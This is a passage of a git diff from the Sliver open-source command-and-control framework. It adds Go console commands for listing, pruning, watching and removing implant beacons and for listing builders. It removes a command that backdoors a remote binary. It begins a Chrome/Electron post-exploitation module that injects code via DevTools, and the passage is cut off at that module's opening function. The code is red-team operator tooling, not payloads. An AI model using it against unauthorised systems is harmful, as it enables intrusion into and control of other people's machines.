func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
tw := renderBeacons(beacons, filter, filterRegex, con)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
}
|
||||
|
||||
for _, beacon := range beacons {
|
||||
color := console.Normal
|
||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
}
|
||||
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
|
||||
if wideTermWidth {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tw
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoBeacons - No sessions available
|
||||
ErrNoBeacons = errors.New("no beacons")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
// ErrBeaconNotFound
|
||||
ErrBeaconNotFound = errors.New("no beacon found for this ID")
|
||||
)
|
||||
|
||||
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
|
||||
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
|
||||
beaconsMap := map[string]*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
beaconsMap[beacon.ID] = beacon
|
||||
}
|
||||
keys := []string{}
|
||||
for beaconID := range beaconsMap {
|
||||
keys = append(keys, beaconID)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
beacon.ID,
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return beaconsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrBeaconNotFound
|
||||
}
|
||||
|
||||
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
return beacons, nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsPruneCmd - Prune stale beacons automatically
|
||||
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
pruneBeacons := []*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Since(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
}
|
||||
if len(pruneBeacons) == 0 {
|
||||
con.PrintInfof("No beacons to prune.\n")
|
||||
return
|
||||
}
|
||||
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
|
||||
for index, beacon := range pruneBeacons {
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
|
||||
}
|
||||
con.Println()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Prune these beacons?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
errCount := 0
|
||||
for _, beacon := range pruneBeacons {
|
||||
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
errCount++
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsWatchCmd - Watch your beacons in real-ish time
|
||||
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
done := waitForInput()
|
||||
defer func() {
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
}()
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
return
|
||||
case <-time.After(time.Second):
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
|
||||
}
|
||||
tw := renderBeacons(beacons.Beacons, "", nil, con)
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for _, line := range lines {
|
||||
con.Printf(console.Clearln+"\r%s\n", line)
|
||||
}
|
||||
con.Printf("\nPress enter to stop.\n")
|
||||
con.Printf(console.UpN+"\r", len(lines)+2)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
done <- true
|
||||
}()
|
||||
return done
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,50 +0,0 @@
|
||||
package command
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.Get()
|
||||
if session == nil {
|
||||
fmt.Println(Warn + "Please select an active session via `use`")
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
|
||||
return
|
||||
}
|
||||
|
||||
profileName := ctx.Flags.String("profile")
|
||||
remoteFilePath := ctx.Args[0]
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
|
||||
go spin.Until(msg, ctrl)
|
||||
backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if backdoor.Response != nil && backdoor.Response.Err != "" {
|
||||
fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
|
||||
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package builders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if len(builders.Builders) == 0 {
|
||||
con.PrintInfof("No external builders connected to server\n")
|
||||
} else {
|
||||
PrintBuilders(builders.Builders, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
|
||||
})
|
||||
for _, builder := range externalBuilders {
|
||||
|
||||
targets := []string{}
|
||||
for _, target := range builder.Targets {
|
||||
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
|
||||
}
|
||||
|
||||
row := table.Row{
|
||||
builder.Name,
|
||||
builder.OperatorName,
|
||||
strings.Join(builder.Templates, ", "),
|
||||
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
|
||||
strings.Join(targets, "\n"),
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -1,175 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
const (
|
||||
// ANSI Colors
|
||||
normal = "\033[0m"
|
||||
black = "\033[30m"
|
||||
red = "\033[31m"
|
||||
green = "\033[32m"
|
||||
orange = "\033[33m"
|
||||
blue = "\033[34m"
|
||||
purple = "\033[35m"
|
||||
cyan = "\033[36m"
|
||||
gray = "\033[37m"
|
||||
bold = "\033[1m"
|
||||
clearln = "\r\x1b[2K"
|
||||
upN = "\033[%dA"
|
||||
downN = "\033[%dB"
|
||||
underline = "\033[4m"
|
||||
|
||||
// Info - Display colorful information
|
||||
Info = bold + cyan + "[*] " + normal
|
||||
// Warn - Warn a user
|
||||
Warn = bold + red + "[!] " + normal
|
||||
// Debug - Display debug information
|
||||
Debug = bold + purple + "[-] " + normal
|
||||
// Woot - Display success
|
||||
Woot = bold + green + "[$] " + normal
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
// ActiveSession - The current sliver we're interacting with
|
||||
ActiveSession = &activeSession{
|
||||
observers: map[int]Observer{},
|
||||
observerID: 0,
|
||||
}
|
||||
|
||||
stdinReadTimeout = 10 * time.Millisecond
|
||||
)
|
||||
|
||||
// Observer - A function to call when the sessions changes
|
||||
type Observer func(*clientpb.Session)
|
||||
|
||||
type activeSession struct {
|
||||
session *clientpb.Session
|
||||
observers map[int]Observer
|
||||
observerID int
|
||||
}
|
||||
|
||||
// GetInteractive - GetInteractive the active session
|
||||
func (s *activeSession) GetInteractive() *clientpb.Session {
|
||||
if s.session == nil {
|
||||
fmt.Printf(Warn + "Please select an active session via `use`\n")
|
||||
return nil
|
||||
}
|
||||
return s.session
|
||||
}
|
||||
|
||||
// Get - Same as Get() but doesn't print a warning
|
||||
func (s *activeSession) Get() *clientpb.Session {
|
||||
if s.session == nil {
|
||||
return nil
|
||||
}
|
||||
return s.session
|
||||
}
|
||||
|
||||
// AddObserver - Observers to notify when the active session changes
|
||||
func (s *activeSession) AddObserver(observer Observer) int {
|
||||
s.observerID++
|
||||
s.observers[s.observerID] = observer
|
||||
return s.observerID
|
||||
}
|
||||
|
||||
func (s *activeSession) RemoveObserver(observerID int) {
|
||||
if _, ok := s.observers[observerID]; ok {
|
||||
delete(s.observers, observerID)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
|
||||
if s.session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int(time.Second) * ctx.Flags.Int("timeout")
|
||||
return &commonpb.Request{
|
||||
SessionID: s.session.ID,
|
||||
Timeout: int64(timeout),
|
||||
}
|
||||
}
|
||||
|
||||
// Set - Change the active session
|
||||
func (s *activeSession) Set(session *clientpb.Session) {
|
||||
s.session = session
|
||||
for _, observer := range s.observers {
|
||||
observer(s.session)
|
||||
}
|
||||
}
|
||||
|
||||
// Background - Background the active session
|
||||
func (s *activeSession) Background() {
|
||||
s.session = nil
|
||||
for _, observer := range s.observers {
|
||||
observer(nil)
|
||||
}
|
||||
}
|
||||
|
||||
// GetSession - Get session by session ID or name
|
||||
func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
|
||||
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
|
||||
return session
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSessionsByName - Return all sessions for an Implant by name
|
||||
func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
|
||||
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return nil
|
||||
}
|
||||
matched := []*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == name {
|
||||
matched = append(matched, session)
|
||||
}
|
||||
}
|
||||
return matched
|
||||
}
|
||||
|
||||
// This should be called for any dangerous (OPSEC-wise) functions
|
||||
func isUserAnAdult() bool {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,4 @@
|
||||
Completers
|
||||
===========
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
@@ -0,0 +1,63 @@
|
||||
package completers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
# Cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
@@ -0,0 +1,435 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
|
||||
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
|
||||
ErrUnsupportedOS = errors.New("unsupported OS")
|
||||
|
||||
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
|
||||
|
||||
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
